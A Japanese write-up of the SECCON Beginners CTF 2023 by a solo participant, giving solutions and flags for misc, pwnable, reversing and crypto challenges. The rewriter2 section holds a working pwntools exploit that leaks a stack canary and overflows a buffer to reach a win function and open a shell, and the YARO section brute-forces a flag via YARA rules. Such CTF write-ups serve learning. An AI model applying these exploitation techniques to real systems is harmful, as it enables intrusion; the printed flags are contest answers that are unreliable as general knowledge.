SECCON Beginners CTF 2023 Writeup

この大会は2023/6/3 14:00(JST)~2023/6/4 14:00(JST)に開催されました。
この大会はチーム戦でしたが、1人チームで参加。結果は549点で778チーム中171位でした。
同時に開催されていた他のCTFに注力していたため、結果はあまりよくないですが、今後のためにも自分の解けた問題をWriteupとして書いておきます。

Welcome (welcome)

Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2023!!!}

YARO (misc)

flagにmatchするかどうかを1バイトずつアクセスしてブルートフォースで検出する。

#!/usr/bin/env python3
from pwn import *

yar_format = '''rule flag {
    strings:
        $flag = /%s/
    condition:
        $flag
}
'''

flag = 'ctf4b{'

while True:
    for code in range(33, 127):
        if code in [42, 43, 45, 46, 63, 124]:
            continue

        p = remote('yaro.beginners.seccon.games', 5003)

        data = p.recvline().decode().rstrip()
        print(data)

        yar = yar_format % (flag + chr(code))
        print(yar)
        p.sendline(yar.encode())
        print()
        p.sendline()

        data = p.recvrepeat(1).decode().rstrip()
        print(data)
        p.close()

        if 'matched: [flag]' in data:
            flag += chr(code)
            break
    if '}' in flag:
        break

print(flag)

実行結果は以下の通り。

        :
[+] Opening connection to yaro.beginners.seccon.games on port 5003: Done
rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyy/
    condition:
        $flag
}


OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyy/
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Not found: ./flag.txt
Not found: ./requestments.txt
[*] Closed connection to yaro.beginners.seccon.games port 5003
[+] Opening connection to yaro.beginners.seccon.games on port 5003: Done
rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyz/
    condition:
        $flag
}


OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1tyz/
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Not found: ./flag.txt
Not found: ./requestments.txt
[*] Closed connection to yaro.beginners.seccon.games port 5003
[+] Opening connection to yaro.beginners.seccon.games on port 5003: Done
rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty{/
    condition:
        $flag
}


OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty{/
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Not found: ./flag.txt
Not found: ./requestments.txt
[*] Closed connection to yaro.beginners.seccon.games port 5003
[+] Opening connection to yaro.beginners.seccon.games on port 5003: Done
rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}/
    condition:
        $flag
}


OK. Now I find the malware from this rule:
rule flag {
    strings:
        $flag = /ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}/
    condition:
        $flag
}
Not found: ./redir.sh
Not found: ./server.py
Found: ./flag.txt, matched: [flag]
Not found: ./requestments.txt
[*] Closed connection to yaro.beginners.seccon.games port 5003
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}
ctf4b{Y3t_An0th3r_R34d_Opp0rtun1ty}

poem (pwnable)

poemのアドレスから-4の位置にフラグがある。

$ nc poem.beginners.seccon.games 9000
Number[0-4]: -4
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}
ctf4b{y0u_sh0uld_v3rify_the_int3g3r_v4lu3}

rewriter2 (pwnable)

$ checksec --file rewriter2                
[*] '/media/sf_Shared/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

任意の40バイトを入力すると、canaryをリークすることができる。リークしたcanaryを踏まえて、BOFでwin関数をコールする。

$ ROPgadget --binary rewriter2 | grep ": ret"
0x000000000040101a : ret
0x0000000000401411 : ret 0x1175
0x0000000000401352 : ret 0x2d75
0x00000000004013b3 : ret 0x8948
0x0000000000401347 : ret 0x8b48
0x00000000004013ad : retf 0x8948
0x00000000004012d2 : retf 0xfffd
#!/usr/bin/env python3
from pwn import *

p = remote('rewriter2.beginners.seccon.games', 9001)

elf = ELF('./rewriter2')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = 'A' * 40

data = p.recvuntil(b'? ').decode()
print(data + payload)
p.sendline(payload.encode())
data = p.recvline().decode().rstrip()
print(data)
data = p.recv(7)
print(data, end='')
canary = b'\x00' + data

payload = b'A' * 40
payload += canary
payload += b'B' * 8
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvuntil(b'? ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvuntil(b'Congratulations!\n').decode().rstrip()
print(data)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to rewriter2.beginners.seccon.games on port 9001: Done
[*] '/media/sf_Shared/rewriter2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 [Addr]             | [Value]            
====================+===================
 0x00007ffe9b08b2a0 | 0x00007fbe8a3ca2e8  <- buf
 0x00007ffe9b08b2a8 | 0x00000000004014e0 
 0x00007ffe9b08b2b0 | 0x0000000000000000 
 0x00007ffe9b08b2b8 | 0x0000000000401110 
 0x00007ffe9b08b2c0 | 0x00007ffe9b08b3c0 
 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe9b08b2d0 | 0x0000000000000000  <- saved rbp
 0x00007ffe9b08b2d8 | 0x00007fbe8a1fd083  <- saved ret addr
 0x00007ffe9b08b2e0 | 0x00007fbe8a3fc620 
 0x00007ffe9b08b2e8 | 0x00007ffe9b08b3c8 

What's your name? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
b"'^z\xfc\xc6\x19b"

 [Addr]             | [Value]            
====================+===================
 0x00007ffe9b08b2a0 | 0x4141414141414141  <- buf
 0x00007ffe9b08b2a8 | 0x4141414141414141 
 0x00007ffe9b08b2b0 | 0x4141414141414141 
 0x00007ffe9b08b2b8 | 0x4141414141414141 
 0x00007ffe9b08b2c0 | 0x4141414141414141 
 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe9b08b2d0 | 0x0000000000000000  <- saved rbp
 0x00007ffe9b08b2d8 | 0x00007fbe8a1fd083  <- saved ret addr
 0x00007ffe9b08b2e0 | 0x00007fbe8a3fc620 
 0x00007ffe9b08b2e8 | 0x00007ffe9b08b3c8 

How old are you? b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00'^z\xfc\xc6\x19bBBBBBBBB\x1a\x10@\x00\x00\x00\x00\x00\xc2\x12@\x00\x00\x00\x00\x00"
Thank you!

 [Addr]             | [Value]            
====================+===================
 0x00007ffe9b08b2a0 | 0x4141414141414141  <- buf
 0x00007ffe9b08b2a8 | 0x4141414141414141 
 0x00007ffe9b08b2b0 | 0x4141414141414141 
 0x00007ffe9b08b2b8 | 0x4141414141414141 
 0x00007ffe9b08b2c0 | 0x4141414141414141 
 0x00007ffe9b08b2c8 | xxxxx hidden xxxxx  <- canary
 0x00007ffe9b08b2d0 | 0x4242424242424242  <- saved rbp
 0x00007ffe9b08b2d8 | 0x000000000040101a  <- saved ret addr
 0x00007ffe9b08b2e0 | 0x00000000004012c2 
 0x00007ffe9b08b2e8 | 0x00007ffe9b08b30a 

Congratulations!
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}
ctf4b{y0u_c4n_l34k_c4n4ry_v4lu3}

Half (reversing)

$ strings half | grep ctf4b -a3 -b3 
227-Enter the FLAG: 
244-%99s%*[^
253-Invalid FLAG
266:ctf4b{ge4_t0_kn0w_the
288-_bin4ry_fi1e_with_s4ring3}
315-Correct!
324-:*3$"
ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}

Three (reversing)

Ghidraでデコンパイルする。

void main(void)

{
  undefined local_48 [64];
  
  printf("Enter the FLAG: ");
  __isoc99_scanf(&DAT_00102127,local_48);
  validate_flag(local_48);
  return;
}

undefined8 validate_flag(char *param_1)

{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(param_1);
  if (sVar2 == 0x31) {
    for (local_c = 0; local_c < 0x31; local_c = local_c + 1) {
      if (local_c % 3 == 0) {
        cVar1 = (char)*(undefined4 *)(flag_0 + (long)(local_c / 3) * 4);
      }
      else if (local_c % 3 == 1) {
        cVar1 = (char)*(undefined4 *)(flag_1 + (long)(local_c / 3) * 4);
      }
      else {
        cVar1 = (char)*(undefined4 *)(flag_2 + (long)(local_c / 3) * 4);
      }
      if (cVar1 != param_1[local_c]) {
        puts("Invalid FLAG");
        return 1;
      }
    }
    puts("Correct!");
    uVar3 = 0;
  }
  else {
    puts("Invalid FLAG");
    uVar3 = 1;
  }
  return uVar3;
}

                             flag_0                                          XREF[3]:     Entry Point(*), 
                                                                                          validate_flag:0010123e(*), 
                                                                                          validate_flag:00101245(*)  
        00102020 63 00 00        undefine
                 00 34 00 
                 00 00 63 
           00102020 63              undefined163h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     validate_flag:0010123e(*), 
                                                                                                                     validate_flag:00101245(*)  
           00102021 00              undefined100h                     [1]
           00102022 00              undefined100h                     [2]
           00102023 00              undefined100h                     [3]
           00102024 34              undefined134h                     [4]
           00102025 00              undefined100h                     [5]
           00102026 00              undefined100h                     [6]
           00102027 00              undefined100h                     [7]
           00102028 63              undefined163h                     [8]
           00102029 00              undefined100h                     [9]
           0010202a 00              undefined100h                     [10]
           0010202b 00              undefined100h                     [11]
           0010202c 5f              undefined15Fh                     [12]
           0010202d 00              undefined100h                     [13]
           0010202e 00              undefined100h                     [14]
           0010202f 00              undefined100h                     [15]
           00102030 75              undefined175h                     [16]
           00102031 00              undefined100h                     [17]
           00102032 00              undefined100h                     [18]
           00102033 00              undefined100h                     [19]
           00102034 62              undefined162h                     [20]
           00102035 00              undefined100h                     [21]
           00102036 00              undefined100h                     [22]
           00102037 00              undefined100h                     [23]
           00102038 5f              undefined15Fh                     [24]
           00102039 00              undefined100h                     [25]
           0010203a 00              undefined100h                     [26]
           0010203b 00              undefined100h                     [27]
           0010203c 5f              undefined15Fh                     [28]
           0010203d 00              undefined100h                     [29]
           0010203e 00              undefined100h                     [30]
           0010203f 00              undefined100h                     [31]
           00102040 64              undefined164h                     [32]
           00102041 00              undefined100h                     [33]
           00102042 00              undefined100h                     [34]
           00102043 00              undefined100h                     [35]
           00102044 74              undefined174h                     [36]
           00102045 00              undefined100h                     [37]
           00102046 00              undefined100h                     [38]
           00102047 00              undefined100h                     [39]
           00102048 5f              undefined15Fh                     [40]
           00102049 00              undefined100h                     [41]
           0010204a 00              undefined100h                     [42]
           0010204b 00              undefined100h                     [43]
           0010204c 72              undefined172h                     [44]
           0010204d 00              undefined100h                     [45]
           0010204e 00              undefined100h                     [46]
           0010204f 00              undefined100h                     [47]
           00102050 5f              undefined15Fh                     [48]
           00102051 00              undefined100h                     [49]
           00102052 00              undefined100h                     [50]
           00102053 00              undefined100h                     [51]
           00102054 31              undefined131h                     [52]
           00102055 00              undefined100h                     [53]
           00102056 00              undefined100h                     [54]
           00102057 00              undefined100h                     [55]
           00102058 5f              undefined15Fh                     [56]
           00102059 00              undefined100h                     [57]
           0010205a 00              undefined100h                     [58]
           0010205b 00              undefined100h                     [59]
           0010205c 34              undefined134h                     [60]
           0010205d 00              undefined100h                     [61]
           0010205e 00              undefined100h                     [62]
           0010205f 00              undefined100h                     [63]
           00102060 7d              undefined17Dh                     [64]
           00102061 00              undefined100h                     [65]
           00102062 00              undefined100h                     [66]
           00102063 00              undefined100h                     [67]

                             flag_1                                          XREF[3]:     Entry Point(*), 
                                                                                          validate_flag:0010129b(*), 
                                                                                          validate_flag:001012a2(*)  
        00102080 74 00 00        undefine
                 00 62 00 
                 00 00 34 
           00102080 74              undefined174h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     validate_flag:0010129b(*), 
                                                                                                                     validate_flag:001012a2(*)  
           00102081 00              undefined100h                     [1]
           00102082 00              undefined100h                     [2]
           00102083 00              undefined100h                     [3]
           00102084 62              undefined162h                     [4]
           00102085 00              undefined100h                     [5]
           00102086 00              undefined100h                     [6]
           00102087 00              undefined100h                     [7]
           00102088 34              undefined134h                     [8]
           00102089 00              undefined100h                     [9]
           0010208a 00              undefined100h                     [10]
           0010208b 00              undefined100h                     [11]
           0010208c 79              undefined179h                     [12]
           0010208d 00              undefined100h                     [13]
           0010208e 00              undefined100h                     [14]
           0010208f 00              undefined100h                     [15]
           00102090 5f              undefined15Fh                     [16]
           00102091 00              undefined100h                     [17]
           00102092 00              undefined100h                     [18]
           00102093 00              undefined100h                     [19]
           00102094 31              undefined131h                     [20]
           00102095 00              undefined100h                     [21]
           00102096 00              undefined100h                     [22]
           00102097 00              undefined100h                     [23]
           00102098 74              undefined174h                     [24]
           00102099 00              undefined100h                     [25]
           0010209a 00              undefined100h                     [26]
           0010209b 00              undefined100h                     [27]
           0010209c 75              undefined175h                     [28]
           0010209d 00              undefined100h                     [29]
           0010209e 00              undefined100h                     [30]
           0010209f 00              undefined100h                     [31]
           001020a0 30              undefined130h                     [32]
           001020a1 00              undefined100h                     [33]
           001020a2 00              undefined100h                     [34]
           001020a3 00              undefined100h                     [35]
           001020a4 34              undefined134h                     [36]
           001020a5 00              undefined100h                     [37]
           001020a6 00              undefined100h                     [38]
           001020a7 00              undefined100h                     [39]
           001020a8 74              undefined174h                     [40]
           001020a9 00              undefined100h                     [41]
           001020aa 00              undefined100h                     [42]
           001020ab 00              undefined100h                     [43]
           001020ac 65              undefined165h                     [44]
           001020ad 00              undefined100h                     [45]
           001020ae 00              undefined100h                     [46]
           001020af 00              undefined100h                     [47]
           001020b0 73              undefined173h                     [48]
           001020b1 00              undefined100h                     [49]
           001020b2 00              undefined100h                     [50]
           001020b3 00              undefined100h                     [51]
           001020b4 69              undefined169h                     [52]
           001020b5 00              undefined100h                     [53]
           001020b6 00              undefined100h                     [54]
           001020b7 00              undefined100h                     [55]
           001020b8 66              undefined166h                     [56]
           001020b9 00              undefined100h                     [57]
           001020ba 00              undefined100h                     [58]
           001020bb 00              undefined100h                     [59]
           001020bc 67              undefined167h                     [60]
           001020bd 00              undefined100h                     [61]
           001020be 00              undefined100h                     [62]
           001020bf 00              undefined100h                     [63]


                             flag_2                                          XREF[3]:     Entry Point(*), 
                                                                                          validate_flag:001012cb(*), 
                                                                                          validate_flag:001012d2(*)  
        001020c0 66 00 00        undefine
                 00 7b 00 
                 00 00 6e 
           001020c0 66              undefined166h                     [0]                               XREF[3]:     Entry Point(*), 
                                                                                                                     validate_flag:001012cb(*), 
                                                                                                                     validate_flag:001012d2(*)  
           001020c1 00              undefined100h                     [1]
           001020c2 00              undefined100h                     [2]
           001020c3 00              undefined100h                     [3]
           001020c4 7b              undefined17Bh                     [4]
           001020c5 00              undefined100h                     [5]
           001020c6 00              undefined100h                     [6]
           001020c7 00              undefined100h                     [7]
           001020c8 6e              undefined16Eh                     [8]
           001020c9 00              undefined100h                     [9]
           001020ca 00              undefined100h                     [10]
           001020cb 00              undefined100h                     [11]
           001020cc 30              undefined130h                     [12]
           001020cd 00              undefined100h                     [13]
           001020ce 00              undefined100h                     [14]
           001020cf 00              undefined100h                     [15]
           001020d0 61              undefined161h                     [16]
           001020d1 00              undefined100h                     [17]
           001020d2 00              undefined100h                     [18]
           001020d3 00              undefined100h                     [19]
           001020d4 65              undefined165h                     [20]
           001020d5 00              undefined100h                     [21]
           001020d6 00              undefined100h                     [22]
           001020d7 00              undefined100h                     [23]
           001020d8 30              undefined130h                     [24]
           001020d9 00              undefined100h                     [25]
           001020da 00              undefined100h                     [26]
           001020db 00              undefined100h                     [27]
           001020dc 6e              undefined16Eh                     [28]
           001020dd 00              undefined100h                     [29]
           001020de 00              undefined100h                     [30]
           001020df 00              undefined100h                     [31]
           001020e0 5f              undefined15Fh                     [32]
           001020e1 00              undefined100h                     [33]
           001020e2 00              undefined100h                     [34]
           001020e3 00              undefined100h                     [35]
           001020e4 65              undefined165h                     [36]
           001020e5 00              undefined100h                     [37]
           001020e6 00              undefined100h                     [38]
           001020e7 00              undefined100h                     [39]
           001020e8 34              undefined134h                     [40]
           001020e9 00              undefined100h                     [41]
           001020ea 00              undefined100h                     [42]
           001020eb 00              undefined100h                     [43]
           001020ec 65              undefined165h                     [44]
           001020ed 00              undefined100h                     [45]
           001020ee 00              undefined100h                     [46]
           001020ef 00              undefined100h                     [47]
           001020f0 70              undefined170h                     [48]
           001020f1 00              undefined100h                     [49]
           001020f2 00              undefined100h                     [50]
           001020f3 00              undefined100h                     [51]
           001020f4 74              undefined174h                     [52]
           001020f5 00              undefined100h                     [53]
           001020f6 00              undefined100h                     [54]
           001020f7 00              undefined100h                     [55]
           001020f8 31              undefined131h                     [56]
           001020f9 00              undefined100h                     [57]
           001020fa 00              undefined100h                     [58]
           001020fb 00              undefined100h                     [59]
           001020fc 33              undefined133h                     [60]
           001020fd 00              undefined100h                     [61]
           001020fe 00              undefined100h                     [62]
           001020ff 00              undefined100h                     [63]

flag0、flag1、flag2から4バイトずつ拾っていけばフラグになる。

#!/usr/bin/env python3
with open('three', 'rb') as f:
    data = f.read()

flag0 = data[0x2020:0x2064]
flag1 = data[0x2080:0x20c0]
flag2 = data[0x20c0:0x2100]
flags = [flag0, flag1, flag2]

flag = ''
for i in range(17):
    if i == 16:
        round = 1
    else:
        round = 3
    for j in range(round):
        flag += chr(flags[j][i * 4])
print(flag)
ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}

CoughingFox2 (crypto)

cipherの順番がわからないので、フラグは"c"から始まることを前提に、cipherの各値からiを引いて2乗の値になるものを探し、復号する。

#!/usr/bin/env python3
import gmpy2

with open('cipher.txt', 'r') as f:
    cipher = eval(f.read().rstrip().split(' = ')[1])

flag = 'c'
for i in range(len(cipher)):
    for j in range(len(cipher)):
        m, success = gmpy2.iroot(cipher[j] - i, 2)
        if success:
            flag += chr(m - ord(flag[-1]))
            break
print(flag)
ctf4b{hi_b3g1nner!g00d_1uck_4nd_h4ve_fun!!!}

Conquer (crypto)

暗号化処理の概要は以下の通り。

・flag: flagを数値化したもの
・length: flagのビット長
・key: lengthビットランダム整数
・cipher: flagとkeyのXOR
・以下32回繰り返し
 ・key = ROL(key, pow(cipher, 3, length))
 ・cipher ^= key
・key, cipherを表示

逆算すればよい。

#!/usr/bin/env python3
from Crypto.Util.number import *

def ROR(bits, N):
    for _ in range(N):
        bits = (bits >> 1) | ((bits & 1) << (length - 1))
    return bits

with open('output.txt', 'r') as f:
    params = f.read().splitlines()

key = int(params[0].split(' ')[-1])
cipher = int(params[1].split(' ')[-1])
length = cipher.bit_length()
length += 7 - length % 8

for i in range(32):
    cipher ^= key
    key = ROR(key, pow(cipher, 3, length))

flag = cipher ^ key
flag = long_to_bytes(flag).decode()
print(flag)
ctf4b{SemiCIRCLErCanalsHaveBeenConqueredByTheCIRCLE!!!}